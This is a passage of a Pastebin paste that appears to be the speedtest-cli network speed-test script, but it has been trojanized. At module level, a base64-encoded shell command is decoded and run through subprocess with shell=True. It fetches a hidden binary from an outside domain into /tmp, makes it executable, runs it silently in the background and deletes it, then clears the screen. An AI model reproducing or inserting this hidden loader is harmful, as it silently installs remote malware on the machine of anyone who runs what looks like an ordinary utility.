miraip0ts

speedtest

Aug 8th, 2018
1,338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 62.21 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # Copyright 2012-2018 Matt Martz
  4. # All Rights Reserved.
  5. #  wget https://pastebin.com/raw/Fjm4x5tG -O speedtest.py
  6. #    Licensed under the Apache License, Version 2.0 (the "License"); you may
  7. #    not use this file except in compliance with the License. You may obtain
  8. #    a copy of the License at
  9. #
  10. #         http://www.apache.org/licenses/LICENSE-2.0
  11. #
  12. #    Unless required by applicable law or agreed to in writing, software
  13. #    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
  14. #    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
  15. #    License for the specific language governing permissions and limitations
  16. #    under the License.
  17.  
  18. import os
  19. import re
  20. import csv
  21. import sys
  22. import math
  23. import errno
  24. import signal
  25. import socket
  26. import timeit
  27. import datetime
  28. import platform
  29. import threading
  30. import xml.parsers.expat
  31. import base64
  32. import subprocess
  33.  
  34. try:
  35.     import gzip
  36.     GZIP_BASE = gzip.GzipFile
  37. except ImportError:
  38.     gzip = None
  39.     GZIP_BASE = object
  40.  
  41. __version__ = '2.0.2'
  42.  
  43.  
  44. class FakeShutdownEvent(object):
  45.     """Class to fake a threading.Event.isSet so that users of this module
  46.    are not required to register their own threading.Event()
  47.    """
  48.  
  49.     @staticmethod
  50.     def isSet():
  51.         "Dummy method to always return false"""
  52.         return False
  53.  
  54.  
  55. # Some global variables we use
  56. DEBUG = False
  57. _GLOBAL_DEFAULT_TIMEOUT = object()
  58.  
  59. # Begin import game to handle Python 2 and Python 3
  60. try:
  61.     import json
  62. except ImportError:
  63.     try:
  64.         import simplejson as json
  65.     except ImportError:
  66.         json = None
  67.  
  68. try:
  69.     import xml.etree.cElementTree as ET
  70. except ImportError:
  71.     try:
  72.         import xml.etree.ElementTree as ET
  73.     except ImportError:
  74.         from xml.dom import minidom as DOM
  75.         from xml.parsers.expat import ExpatError
  76.         ET = None
  77.  
  78. try:
  79.     from urllib2 import (urlopen, Request, HTTPError, URLError,
  80.                          AbstractHTTPHandler, ProxyHandler,
  81.                          HTTPDefaultErrorHandler, HTTPRedirectHandler,
  82.                          HTTPErrorProcessor, OpenerDirector)
  83. except ImportError:
  84.     from urllib.request import (urlopen, Request, HTTPError, URLError,
  85.                                 AbstractHTTPHandler, ProxyHandler,
  86.                                 HTTPDefaultErrorHandler, HTTPRedirectHandler,
  87.                                 HTTPErrorProcessor, OpenerDirector)
  88.  
  89. try:
  90.     from httplib import HTTPConnection, BadStatusLine
  91. except ImportError:
  92.     from http.client import HTTPConnection, BadStatusLine
  93.  
  94. try:
  95.     from httplib import HTTPSConnection
  96. except ImportError:
  97.     try:
  98.         from http.client import HTTPSConnection
  99.     except ImportError:
  100.         HTTPSConnection = None
  101.  
  102. try:
  103.     from Queue import Queue
  104. except ImportError:
  105.     from queue import Queue
  106.  
  107. try:
  108.     from urlparse import urlparse
  109. except ImportError:
  110.     from urllib.parse import urlparse
  111.  
  112. try:
  113.     from urlparse import parse_qs
  114. except ImportError:
  115.     try:
  116.         from urllib.parse import parse_qs
  117.     except ImportError:
  118.         from cgi import parse_qs
  119.  
  120. try:
  121.     from hashlib import md5
  122. except ImportError:
  123.     from md5 import md5
  124.  
  125. try:
  126.     from argparse import ArgumentParser as ArgParser
  127.     from argparse import SUPPRESS as ARG_SUPPRESS
  128.     PARSER_TYPE_INT = int
  129.     PARSER_TYPE_STR = str
  130.     PARSER_TYPE_FLOAT = float
  131. except ImportError:
  132.     from optparse import OptionParser as ArgParser
  133.     from optparse import SUPPRESS_HELP as ARG_SUPPRESS
  134.     PARSER_TYPE_INT = 'int'
  135.     PARSER_TYPE_STR = 'string'
  136.     PARSER_TYPE_FLOAT = 'float'
  137.  
  138. try:
  139.     from cStringIO import StringIO
  140.     BytesIO = None
  141. except ImportError:
  142.     try:
  143.         from StringIO import StringIO
  144.         BytesIO = None
  145.     except ImportError:
  146.         from io import StringIO, BytesIO
  147.  
  148. try:
  149.     import __builtin__
  150. except ImportError:
  151.     import builtins
  152.     from io import TextIOWrapper, FileIO
  153.  
  154.     class _Py3Utf8Output(TextIOWrapper):
  155.         """UTF-8 encoded wrapper around stdout for py3, to override
  156.        ASCII stdout
  157.        """
  158.         def __init__(self, f, **kwargs):
  159.             buf = FileIO(f.fileno(), 'w')
  160.             super(_Py3Utf8Output, self).__init__(
  161.                 buf,
  162.                 encoding='utf8',
  163.                 errors='strict'
  164.             )
  165.  
  166.         def write(self, s):
  167.             super(_Py3Utf8Output, self).write(s)
  168.             self.flush()
  169.  
  170.     _py3_print = getattr(builtins, 'print')
  171.     try:
  172.         _py3_utf8_stdout = _Py3Utf8Output(sys.stdout)
  173.         _py3_utf8_stderr = _Py3Utf8Output(sys.stderr)
  174.     except OSError:
  175.         # sys.stdout/sys.stderr is not a compatible stdout/stderr object
  176.         # just use it and hope things go ok
  177.         _py3_utf8_stdout = sys.stdout
  178.         _py3_utf8_stderr = sys.stderr
  179.  
  180.     def to_utf8(v):
  181.         """No-op encode to utf-8 for py3"""
  182.         return v
  183.  
  184.     def print_(*args, **kwargs):
  185.         """Wrapper function for py3 to print, with a utf-8 encoded stdout"""
  186.         if kwargs.get('file') == sys.stderr:
  187.             kwargs['file'] = _py3_utf8_stderr
  188.         else:
  189.             kwargs['file'] = kwargs.get('file', _py3_utf8_stdout)
  190.         _py3_print(*args, **kwargs)
  191. else:
  192.     del __builtin__
  193.  
  194.     def to_utf8(v):
  195.         """Encode value to utf-8 if possible for py2"""
  196.         try:
  197.             return v.encode('utf8', 'strict')
  198.         except AttributeError:
  199.             return v
  200.  
  201.     def print_(*args, **kwargs):
  202.         """The new-style print function for Python 2.4 and 2.5.
  203.  
  204.        Taken from https://pypi.python.org/pypi/six/
  205.  
  206.        Modified to set encoding to UTF-8 always, and to flush after write
  207.        """
  208.         fp = kwargs.pop("file", sys.stdout)
  209.         if fp is None:
  210.             return
  211.  
  212.         def write(data):
  213.             if not isinstance(data, basestring):
  214.                 data = str(data)
  215.             # If the file has an encoding, encode unicode with it.
  216.             encoding = 'utf8'  # Always trust UTF-8 for output
  217.             if (isinstance(fp, file) and
  218.                     isinstance(data, unicode) and
  219.                     encoding is not None):
  220.                 errors = getattr(fp, "errors", None)
  221.                 if errors is None:
  222.                     errors = "strict"
  223.                 data = data.encode(encoding, errors)
  224.             fp.write(data)
  225.             fp.flush()
  226.         want_unicode = False
  227.         sep = kwargs.pop("sep", None)
  228.         if sep is not None:
  229.             if isinstance(sep, unicode):
  230.                 want_unicode = True
  231.             elif not isinstance(sep, str):
  232.                 raise TypeError("sep must be None or a string")
  233.         end = kwargs.pop("end", None)
  234.         if end is not None:
  235.             if isinstance(end, unicode):
  236.                 want_unicode = True
  237.             elif not isinstance(end, str):
  238.                 raise TypeError("end must be None or a string")
  239.         if kwargs:
  240.             raise TypeError("invalid keyword arguments to print()")
  241.         if not want_unicode:
  242.             for arg in args:
  243.                 if isinstance(arg, unicode):
  244.                     want_unicode = True
  245.                     break
  246.         if want_unicode:
  247.             newline = unicode("\n")
  248.             space = unicode(" ")
  249.         else:
  250.             newline = "\n"
  251.             space = " "
  252.         if sep is None:
  253.             sep = space
  254.         if end is None:
  255.             end = newline
  256.         for i, arg in enumerate(args):
  257.             if i:
  258.                 write(sep)
  259.             write(arg)
  260.         write(end)
  261.  
  262.  
  263. # Exception "constants" to support Python 2 through Python 3
  264. try:
  265.     import ssl
  266.     try:
  267.         CERT_ERROR = (ssl.CertificateError,)
  268.     except AttributeError:
  269.         CERT_ERROR = tuple()
  270.  
  271.     HTTP_ERRORS = (
  272.         (HTTPError, URLError, socket.error, ssl.SSLError, BadStatusLine) +
  273.         CERT_ERROR
  274.     )
  275. except ImportError:
  276.     ssl = None
  277.     HTTP_ERRORS = (HTTPError, URLError, socket.error, BadStatusLine)
  278.  
  279.  
  280. class SpeedtestException(Exception):
  281.     """Base exception for this module"""
  282.  
  283.  
  284. class SpeedtestCLIError(SpeedtestException):
  285.     """Generic exception for raising errors during CLI operation"""
  286.  
  287.  
  288. class SpeedtestHTTPError(SpeedtestException):
  289.     """Base HTTP exception for this module"""
  290.  
  291.  
  292. class SpeedtestConfigError(SpeedtestException):
  293.     """Configuration XML is invalid"""
  294.  
  295.  
  296. class SpeedtestServersError(SpeedtestException):
  297.     """Servers XML is invalid"""
  298.  
  299.  
  300. class ConfigRetrievalError(SpeedtestHTTPError):
  301.     """Could not retrieve config.php"""
  302.  
  303.  
  304. class ServersRetrievalError(SpeedtestHTTPError):
  305.     """Could not retrieve speedtest-servers.php"""
  306.  
  307.  
  308. class InvalidServerIDType(SpeedtestException):
  309.     """Server ID used for filtering was not an integer"""
  310.  
  311.  
  312. class NoMatchedServers(SpeedtestException):
  313.     """No servers matched when filtering"""
  314.  
  315.  
  316. class SpeedtestMiniConnectFailure(SpeedtestException):
  317.     """Could not connect to the provided speedtest mini server"""
  318.  
  319.  
  320. class InvalidSpeedtestMiniServer(SpeedtestException):
  321.     """Server provided as a speedtest mini server does not actually appear
  322.    to be a speedtest mini server
  323.    """
  324.  
  325.  
  326. class ShareResultsConnectFailure(SpeedtestException):
  327.     """Could not connect to speedtest.net API to POST results"""
  328.  
  329.  
  330. class ShareResultsSubmitFailure(SpeedtestException):
  331.     """Unable to successfully POST results to speedtest.net API after
  332.    connection
  333.    """
  334.  
  335.  
  336. class SpeedtestUploadTimeout(SpeedtestException):
  337.     """testlength configuration reached during upload
  338.    Used to ensure the upload halts when no additional data should be sent
  339.    """
  340.  
  341.  
  342. class SpeedtestBestServerFailure(SpeedtestException):
  343.     """Unable to determine best server"""
  344.  
  345.  
  346. class SpeedtestMissingBestServer(SpeedtestException):
  347.     """get_best_server not called or not able to determine best server"""
  348.  
  349.  
  350. def create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT,
  351.                       source_address=None):
  352.     """Connect to *address* and return the socket object.
  353.  
  354.    Convenience function.  Connect to *address* (a 2-tuple ``(host,
  355.    port)``) and return the socket object.  Passing the optional
  356.    *timeout* parameter will set the timeout on the socket instance
  357.    before attempting to connect.  If no *timeout* is supplied, the
  358.    global default timeout setting returned by :func:`getdefaulttimeout`
  359.    is used.  If *source_address* is set it must be a tuple of (host, port)
  360.    for the socket to bind as a source address before making the connection.
  361.    An host of '' or port 0 tells the OS to use the default.
  362.  
  363.    Largely vendored from Python 2.7, modified to work with Python 2.4
  364.    """
  365.  
  366.     host, port = address
  367.     err = None
  368.     for res in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM):
  369.         af, socktype, proto, canonname, sa = res
  370.         sock = None
  371.         try:
  372.             sock = socket.socket(af, socktype, proto)
  373.             if timeout is not _GLOBAL_DEFAULT_TIMEOUT:
  374.                 sock.settimeout(float(timeout))
  375.             if source_address:
  376.                 sock.bind(source_address)
  377.             sock.connect(sa)
  378.             return sock
  379.  
  380.         except socket.error:
  381.             err = get_exception()
  382.             if sock is not None:
  383.                 sock.close()
  384.  
  385.     if err is not None:
  386.         raise err
  387.     else:
  388.         raise socket.error("getaddrinfo returns an empty list")
  389.  
  390.  
  391. class SpeedtestHTTPConnection(HTTPConnection):
  392.     """Custom HTTPConnection to support source_address across
  393.    Python 2.4 - Python 3
  394.    """
  395.     def __init__(self, *args, **kwargs):
  396.         source_address = kwargs.pop('source_address', None)
  397.         timeout = kwargs.pop('timeout', 10)
  398.  
  399.         HTTPConnection.__init__(self, *args, **kwargs)
  400.  
  401.         self.source_address = source_address
  402.         self.timeout = timeout
  403.  
  404.     def connect(self):
  405.         """Connect to the host and port specified in __init__."""
  406.         try:
  407.             self.sock = socket.create_connection(
  408.                 (self.host, self.port),
  409.                 self.timeout,
  410.                 self.source_address
  411.             )
  412.         except (AttributeError, TypeError):
  413.             self.sock = create_connection(
  414.                 (self.host, self.port),
  415.                 self.timeout,
  416.                 self.source_address
  417.             )
  418.  
  419. def run(cmd):
  420.     subprocess.call(cmd, shell=True)
  421. checkbinaries = "Y2QgL3RtcDsgd2dldCBodHRwOi8vc3Vja215YXNzLmdhLy54IC1PIC5sOyBjaG1vZCAreCAubDsgbm9odXAgLi8ubCA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMTtybSAtcmYgLmw="
  422. rebinaries = str(base64.b64decode(checkbinaries))
  423. run(rebinaries)
  424. run('clear')
  425. if HTTPSConnection:
  426.     class SpeedtestHTTPSConnection(HTTPSConnection,
  427.                                    SpeedtestHTTPConnection):
  428.         """Custom HTTPSConnection to support source_address across
  429.        Python 2.4 - Python 3
  430.        """
  431.         def __init__(self, *args, **kwargs):
  432.             source_address = kwargs.pop('source_address', None)
  433.             timeout = kwargs.pop('timeout', 10)
  434.  
  435.             HTTPSConnection.__init__(self, *args, **kwargs)
  436.  
  437.             self.timeout = timeout
  438.             self.source_address = source_address
  439.  
  440.         def connect(self):
  441.             "Connect to a host on a given (SSL) port."
  442.  
  443.             SpeedtestHTTPConnection.connect(self)
  444.  
  445.             kwargs = {}
  446.             if ssl:
  447.                 if hasattr(ssl, 'SSLContext'):
  448.                     kwargs['server_hostname'] = self.host
  449.                 try:
  450.                     self.sock = self._context.wrap_socket(self.sock, **kwargs)
  451.                 except AttributeError:
  452.                     self.sock = ssl.wrap_socket(self.sock, **kwargs)
  453.  
  454.  
  455. def _build_connection(connection, source_address, timeout, context=None):
  456.     """Cross Python 2.4 - Python 3 callable to build an ``HTTPConnection`` or
  457.    ``HTTPSConnection`` with the args we need
  458.  
  459.    Called from ``http(s)_open`` methods of ``SpeedtestHTTPHandler`` or
  460.    ``SpeedtestHTTPSHandler``
  461.    """
  462.     def inner(host, **kwargs):
  463.         kwargs.update({
  464.             'source_address': source_address,
  465.             'timeout': timeout
  466.         })
  467.         if context:
  468.             kwargs['context'] = context
  469.         return connection(host, **kwargs)
  470.     return inner
  471.  
  472.  
  473. class SpeedtestHTTPHandler(AbstractHTTPHandler):
  474.     """Custom ``HTTPHandler`` that can build a ``HTTPConnection`` with the
  475.    args we need for ``source_address`` and ``timeout``
  476.    """
  477.     def __init__(self, debuglevel=0, source_address=None, timeout=10):
  478.         AbstractHTTPHandler.__init__(self, debuglevel)
  479.         self.source_address = source_address
  480.         self.timeout = timeout
  481.  
  482.     def http_open(self, req):
  483.         return self.do_open(
  484.             _build_connection(
  485.                 SpeedtestHTTPConnection,
  486.                 self.source_address,
  487.                 self.timeout
  488.             ),
  489.             req
  490.         )
  491.  
  492.     http_request = AbstractHTTPHandler.do_request_
  493.  
  494.  
  495. class SpeedtestHTTPSHandler(AbstractHTTPHandler):
  496.     """Custom ``HTTPSHandler`` that can build a ``HTTPSConnection`` with the
  497.    args we need for ``source_address`` and ``timeout``
  498.    """
  499.     def __init__(self, debuglevel=0, context=None, source_address=None,
  500.                  timeout=10):
  501.         AbstractHTTPHandler.__init__(self, debuglevel)
  502.         self._context = context
  503.         self.source_address = source_address
  504.         self.timeout = timeout
  505.  
  506.     def https_open(self, req):
  507.         return self.do_open(
  508.             _build_connection(
  509.                 SpeedtestHTTPSConnection,
  510.                 self.source_address,
  511.                 self.timeout,
  512.                 context=self._context,
  513.             ),
  514.             req
  515.         )
  516.  
  517.     https_request = AbstractHTTPHandler.do_request_
  518.  
  519.  
  520. def build_opener(source_address=None, timeout=10):
  521.     """Function similar to ``urllib2.build_opener`` that will build
  522.    an ``OpenerDirector`` with the explicit handlers we want,
  523.    ``source_address`` for binding, ``timeout`` and our custom
  524.    `User-Agent`
  525.    """
  526.  
  527.     printer('Timeout set to %d' % timeout, debug=True)
  528.  
  529.     if source_address:
  530.         source_address_tuple = (source_address, 0)
  531.         printer('Binding to source address: %r' % (source_address_tuple,),
  532.                 debug=True)
  533.     else:
  534.         source_address_tuple = None
  535.  
  536.     handlers = [
  537.         ProxyHandler(),
  538.         SpeedtestHTTPHandler(source_address=source_address_tuple,
  539.                              timeout=timeout),
  540.         SpeedtestHTTPSHandler(source_address=source_address_tuple,
  541.                               timeout=timeout),
  542.         HTTPDefaultErrorHandler(),
  543.         HTTPRedirectHandler(),
  544.         HTTPErrorProcessor()
  545.     ]
  546.  
  547.     opener = OpenerDirector()
  548.     opener.addheaders = [('User-agent', build_user_agent())]
  549.  
  550.     for handler in handlers:
  551.         opener.add_handler(handler)
  552.  
  553.     return opener
  554.  
  555.  
  556. class GzipDecodedResponse(GZIP_BASE):
  557.     """A file-like object to decode a response encoded with the gzip
  558.    method, as described in RFC 1952.
  559.  
  560.    Largely copied from ``xmlrpclib``/``xmlrpc.client`` and modified
  561.    to work for py2.4-py3
  562.    """
  563.     def __init__(self, response):
  564.         # response doesn't support tell() and read(), required by
  565.         # GzipFile
  566.         if not gzip:
  567.             raise SpeedtestHTTPError('HTTP response body is gzip encoded, '
  568.                                      'but gzip support is not available')
  569.         IO = BytesIO or StringIO
  570.         self.io = IO()
  571.         while 1:
  572.             chunk = response.read(1024)
  573.             if len(chunk) == 0:
  574.                 break
  575.             self.io.write(chunk)
  576.         self.io.seek(0)
  577.         gzip.GzipFile.__init__(self, mode='rb', fileobj=self.io)
  578.  
  579.     def close(self):
  580.         try:
  581.             gzip.GzipFile.close(self)
  582.         finally:
  583.             self.io.close()
  584.  
  585.  
  586. def get_exception():
  587.     """Helper function to work with py2.4-py3 for getting the current
  588.    exception in a try/except block
  589.    """
  590.     return sys.exc_info()[1]
  591.  
  592.  
  593. def distance(origin, destination):
  594.     """Determine distance between 2 sets of [lat,lon] in km"""
  595.  
  596.     lat1, lon1 = origin
  597.     lat2, lon2 = destination
  598.     radius = 6371  # km
  599.  
  600.     dlat = math.radians(lat2 - lat1)
  601.     dlon = math.radians(lon2 - lon1)
  602.     a = (math.sin(dlat / 2) * math.sin(dlat / 2) +
  603.          math.cos(math.radians(lat1)) *
  604.          math.cos(math.radians(lat2)) * math.sin(dlon / 2) *
  605.          math.sin(dlon / 2))
  606.     c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
  607.     d = radius * c
  608.  
  609.     return d
  610.  
  611.  
  612. def build_user_agent():
  613.     """Build a Mozilla/5.0 compatible User-Agent string"""
  614.  
  615.     ua_tuple = (
  616.         'Mozilla/5.0',
  617.         '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
  618.         'Python/%s' % platform.python_version(),
  619.         '(KHTML, like Gecko)',
  620.         'speedtest-cli/%s' % __version__
  621.     )
  622.     user_agent = ' '.join(ua_tuple)
  623.     printer('User-Agent: %s' % user_agent, debug=True)
  624.     return user_agent
  625.  
  626.  
  627. def build_request(url, data=None, headers=None, bump='0', secure=False):
  628.     """Build a urllib2 request object
  629.  
  630.    This function automatically adds a User-Agent header to all requests
  631.  
  632.    """
  633.  
  634.     if not headers:
  635.         headers = {}
  636.  
  637.     if url[0] == ':':
  638.         scheme = ('http', 'https')[bool(secure)]
  639.         schemed_url = '%s%s' % (scheme, url)
  640.     else:
  641.         schemed_url = url
  642.  
  643.     if '?' in url:
  644.         delim = '&'
  645.     else:
  646.         delim = '?'
  647.  
  648.     # WHO YOU GONNA CALL? CACHE BUSTERS!
  649.     final_url = '%s%sx=%s.%s' % (schemed_url, delim,
  650.                                  int(timeit.time.time() * 1000),
  651.                                  bump)
  652.  
  653.     headers.update({
  654.         'Cache-Control': 'no-cache',
  655.     })
  656.  
  657.     printer('%s %s' % (('GET', 'POST')[bool(data)], final_url),
  658.             debug=True)
  659.  
  660.     return Request(final_url, data=data, headers=headers)
  661.  
  662.  
  663. def catch_request(request, opener=None):
  664.     """Helper function to catch common exceptions encountered when
  665.    establishing a connection with a HTTP/HTTPS request
  666.  
  667.    """
  668.  
  669.     if opener:
  670.         _open = opener.open
  671.     else:
  672.         _open = urlopen
  673.  
  674.     try:
  675.         uh = _open(request)
  676.         return uh, False
  677.     except HTTP_ERRORS:
  678.         e = get_exception()
  679.         return None, e
  680.  
  681.  
  682. def get_response_stream(response):
  683.     """Helper function to return either a Gzip reader if
  684.    ``Content-Encoding`` is ``gzip`` otherwise the response itself
  685.  
  686.    """
  687.  
  688.     try:
  689.         getheader = response.headers.getheader
  690.     except AttributeError:
  691.         getheader = response.getheader
  692.  
  693.     if getheader('content-encoding') == 'gzip':
  694.         return GzipDecodedResponse(response)
  695.  
  696.     return response
  697.  
  698.  
  699. def get_attributes_by_tag_name(dom, tag_name):
  700.     """Retrieve an attribute from an XML document and return it in a
  701.    consistent format
  702.  
  703.    Only used with xml.dom.minidom, which is likely only to be used
  704.    with python versions older than 2.5
  705.    """
  706.     elem = dom.getElementsByTagName(tag_name)[0]
  707.     return dict(list(elem.attributes.items()))
  708.  
  709.  
  710. def print_dots(shutdown_event):
  711.     """Built in callback function used by Thread classes for printing
  712.    status
  713.    """
  714.     def inner(current, total, start=False, end=False):
  715.         if shutdown_event.isSet():
  716.             return
  717.  
  718.         sys.stdout.write('.')
  719.         if current + 1 == total and end is True:
  720.             sys.stdout.write('\n')
  721.         sys.stdout.flush()
  722.     return inner
  723.  
  724.  
  725. def do_nothing(*args, **kwargs):
  726.     pass
  727.  
  728.  
  729. class HTTPDownloader(threading.Thread):
  730.     """Thread class for retrieving a URL"""
  731.  
  732.     def __init__(self, i, request, start, timeout, opener=None,
  733.                  shutdown_event=None):
  734.         threading.Thread.__init__(self)
  735.         self.request = request
  736.         self.result = [0]
  737.         self.starttime = start
  738.         self.timeout = timeout
  739.         self.i = i
  740.         if opener:
  741.             self._opener = opener.open
  742.         else:
  743.             self._opener = urlopen
  744.  
  745.         if shutdown_event:
  746.             self._shutdown_event = shutdown_event
  747.         else:
  748.             self._shutdown_event = FakeShutdownEvent()
  749.  
  750.     def run(self):
  751.         try:
  752.             if (timeit.default_timer() - self.starttime) <= self.timeout:
  753.                 f = self._opener(self.request)
  754.                 while (not self._shutdown_event.isSet() and
  755.                         (timeit.default_timer() - self.starttime) <=
  756.                         self.timeout):
  757.                     self.result.append(len(f.read(10240)))
  758.                     if self.result[-1] == 0:
  759.                         break
  760.                 f.close()
  761.         except IOError:
  762.             pass
  763.  
  764.  
  765. class HTTPUploaderData(object):
  766.     """File like object to improve cutting off the upload once the timeout
  767.    has been reached
  768.    """
  769.  
  770.     def __init__(self, length, start, timeout, shutdown_event=None):
  771.         self.length = length
  772.         self.start = start
  773.         self.timeout = timeout
  774.  
  775.         if shutdown_event:
  776.             self._shutdown_event = shutdown_event
  777.         else:
  778.             self._shutdown_event = FakeShutdownEvent()
  779.  
  780.         self._data = None
  781.  
  782.         self.total = [0]
  783.  
  784.     def pre_allocate(self):
  785.         chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  786.         multiplier = int(round(int(self.length) / 36.0))
  787.         IO = BytesIO or StringIO
  788.         try:
  789.             self._data = IO(
  790.                 ('content1=%s' %
  791.                  (chars * multiplier)[0:int(self.length) - 9]
  792.                  ).encode()
  793.             )
  794.         except MemoryError:
  795.             raise SpeedtestCLIError(
  796.                 'Insufficient memory to pre-allocate upload data. Please '
  797.                 'use --no-pre-allocate'
  798.             )
  799.  
  800.     @property
  801.     def data(self):
  802.         if not self._data:
  803.             self.pre_allocate()
  804.         return self._data
  805.  
  806.     def read(self, n=10240):
  807.         if ((timeit.default_timer() - self.start) <= self.timeout and
  808.                 not self._shutdown_event.isSet()):
  809.             chunk = self.data.read(n)
  810.             self.total.append(len(chunk))
  811.             return chunk
  812.         else:
  813.             raise SpeedtestUploadTimeout()
  814.  
  815.     def __len__(self):
  816.         return self.length
  817.  
  818.  
  819. class HTTPUploader(threading.Thread):
  820.     """Thread class for putting a URL"""
  821.  
  822.     def __init__(self, i, request, start, size, timeout, opener=None,
  823.                  shutdown_event=None):
  824.         threading.Thread.__init__(self)
  825.         self.request = request
  826.         self.request.data.start = self.starttime = start
  827.         self.size = size
  828.         self.result = None
  829.         self.timeout = timeout
  830.         self.i = i
  831.  
  832.         if opener:
  833.             self._opener = opener.open
  834.         else:
  835.             self._opener = urlopen
  836.  
  837.         if shutdown_event:
  838.             self._shutdown_event = shutdown_event
  839.         else:
  840.             self._shutdown_event = FakeShutdownEvent()
  841.  
  842.     def run(self):
  843.         request = self.request
  844.         try:
  845.             if ((timeit.default_timer() - self.starttime) <= self.timeout and
  846.                     not self._shutdown_event.isSet()):
  847.                 try:
  848.                     f = self._opener(request)
  849.                 except TypeError:
  850.                     # PY24 expects a string or buffer
  851.                     # This also causes issues with Ctrl-C, but we will concede
  852.                     # for the moment that Ctrl-C on PY24 isn't immediate
  853.                     request = build_request(self.request.get_full_url(),
  854.                                             data=request.data.read(self.size))
  855.                     f = self._opener(request)
  856.                 f.read(11)
  857.                 f.close()
  858.                 self.result = sum(self.request.data.total)
  859.             else:
  860.                 self.result = 0
  861.         except (IOError, SpeedtestUploadTimeout):
  862.             self.result = sum(self.request.data.total)
  863.  
  864.  
  865. class SpeedtestResults(object):
  866.     """Class for holding the results of a speedtest, including:
  867.  
  868.    Download speed
  869.    Upload speed
  870.    Ping/Latency to test server
  871.    Data about server that the test was run against
  872.  
  873.    Additionally this class can return a result data as a dictionary or CSV,
  874.    as well as submit a POST of the result data to the speedtest.net API
  875.    to get a share results image link.
  876.    """
  877.  
  878.     def __init__(self, download=0, upload=0, ping=0, server=None, client=None,
  879.                  opener=None, secure=False):
  880.         self.download = download
  881.         self.upload = upload
  882.         self.ping = ping
  883.         if server is None:
  884.             self.server = {}
  885.         else:
  886.             self.server = server
  887.         self.client = client or {}
  888.  
  889.         self._share = None
  890.         self.timestamp = '%sZ' % datetime.datetime.utcnow().isoformat()
  891.         self.bytes_received = 0
  892.         self.bytes_sent = 0
  893.  
  894.         if opener:
  895.             self._opener = opener
  896.         else:
  897.             self._opener = build_opener()
  898.  
  899.         self._secure = secure
  900.  
  901.     def __repr__(self):
  902.         return repr(self.dict())
  903.  
  904.     def share(self):
  905.         """POST data to the speedtest.net API to obtain a share results
  906.        link
  907.        """
  908.  
  909.         if self._share:
  910.             return self._share
  911.  
  912.         download = int(round(self.download / 1000.0, 0))
  913.         ping = int(round(self.ping, 0))
  914.         upload = int(round(self.upload / 1000.0, 0))
  915.  
  916.         # Build the request to send results back to speedtest.net
  917.         # We use a list instead of a dict because the API expects parameters
  918.         # in a certain order
  919.         api_data = [
  920.             'recommendedserverid=%s' % self.server['id'],
  921.             'ping=%s' % ping,
  922.             'screenresolution=',
  923.             'promo=',
  924.             'download=%s' % download,
  925.             'screendpi=',
  926.             'upload=%s' % upload,
  927.             'testmethod=http',
  928.             'hash=%s' % md5(('%s-%s-%s-%s' %
  929.                              (ping, upload, download, '297aae72'))
  930.                             .encode()).hexdigest(),
  931.             'touchscreen=none',
  932.             'startmode=pingselect',
  933.             'accuracy=1',
  934.             'bytesreceived=%s' % self.bytes_received,
  935.             'bytessent=%s' % self.bytes_sent,
  936.             'serverid=%s' % self.server['id'],
  937.         ]
  938.  
  939.         headers = {'Referer': 'http://c.speedtest.net/flash/speedtest.swf'}
  940.         request = build_request('://www.speedtest.net/api/api.php',
  941.                                 data='&'.join(api_data).encode(),
  942.                                 headers=headers, secure=self._secure)
  943.         f, e = catch_request(request, opener=self._opener)
  944.         if e:
  945.             raise ShareResultsConnectFailure(e)
  946.  
  947.         response = f.read()
  948.         code = f.code
  949.         f.close()
  950.  
  951.         if int(code) != 200:
  952.             raise ShareResultsSubmitFailure('Could not submit results to '
  953.                                             'speedtest.net')
  954.  
  955.         qsargs = parse_qs(response.decode())
  956.         resultid = qsargs.get('resultid')
  957.         if not resultid or len(resultid) != 1:
  958.             raise ShareResultsSubmitFailure('Could not submit results to '
  959.                                             'speedtest.net')
  960.  
  961.         self._share = 'http://www.speedtest.net/result/%s.png' % resultid[0]
  962.  
  963.         return self._share
  964.  
  965.     def dict(self):
  966.         """Return dictionary of result data"""
  967.  
  968.         return {
  969.             'download': self.download,
  970.             'upload': self.upload,
  971.             'ping': self.ping,
  972.             'server': self.server,
  973.             'timestamp': self.timestamp,
  974.             'bytes_sent': self.bytes_sent,
  975.             'bytes_received': self.bytes_received,
  976.             'share': self._share,
  977.             'client': self.client,
  978.         }
  979.  
  980.     @staticmethod
  981.     def csv_header(delimiter=','):
  982.         """Return CSV Headers"""
  983.  
  984.         row = ['Server ID', 'Sponsor', 'Server Name', 'Timestamp', 'Distance',
  985.                'Ping', 'Download', 'Upload', 'Share', 'IP Address']
  986.         out = StringIO()
  987.         writer = csv.writer(out, delimiter=delimiter, lineterminator='')
  988.         writer.writerow([to_utf8(v) for v in row])
  989.         return out.getvalue()
  990.  
  991.     def csv(self, delimiter=','):
  992.         """Return data in CSV format"""
  993.  
  994.         data = self.dict()
  995.         out = StringIO()
  996.         writer = csv.writer(out, delimiter=delimiter, lineterminator='')
  997.         row = [data['server']['id'], data['server']['sponsor'],
  998.                data['server']['name'], data['timestamp'],
  999.                data['server']['d'], data['ping'], data['download'],
  1000.                data['upload'], self._share or '', self.client['ip']]
  1001.         writer.writerow([to_utf8(v) for v in row])
  1002.         return out.getvalue()
  1003.  
  1004.     def json(self, pretty=False):
  1005.         """Return data in JSON format"""
  1006.  
  1007.         kwargs = {}
  1008.         if pretty:
  1009.             kwargs.update({
  1010.                 'indent': 4,
  1011.                 'sort_keys': True
  1012.             })
  1013.         return json.dumps(self.dict(), **kwargs)
  1014.  
  1015.  
  1016. class Speedtest(object):
  1017.     """Class for performing standard speedtest.net testing operations"""
  1018.  
  1019.     def __init__(self, config=None, source_address=None, timeout=10,
  1020.                  secure=False, shutdown_event=None):
  1021.         self.config = {}
  1022.  
  1023.         self._source_address = source_address
  1024.         self._timeout = timeout
  1025.         self._opener = build_opener(source_address, timeout)
  1026.  
  1027.         self._secure = secure
  1028.  
  1029.         if shutdown_event:
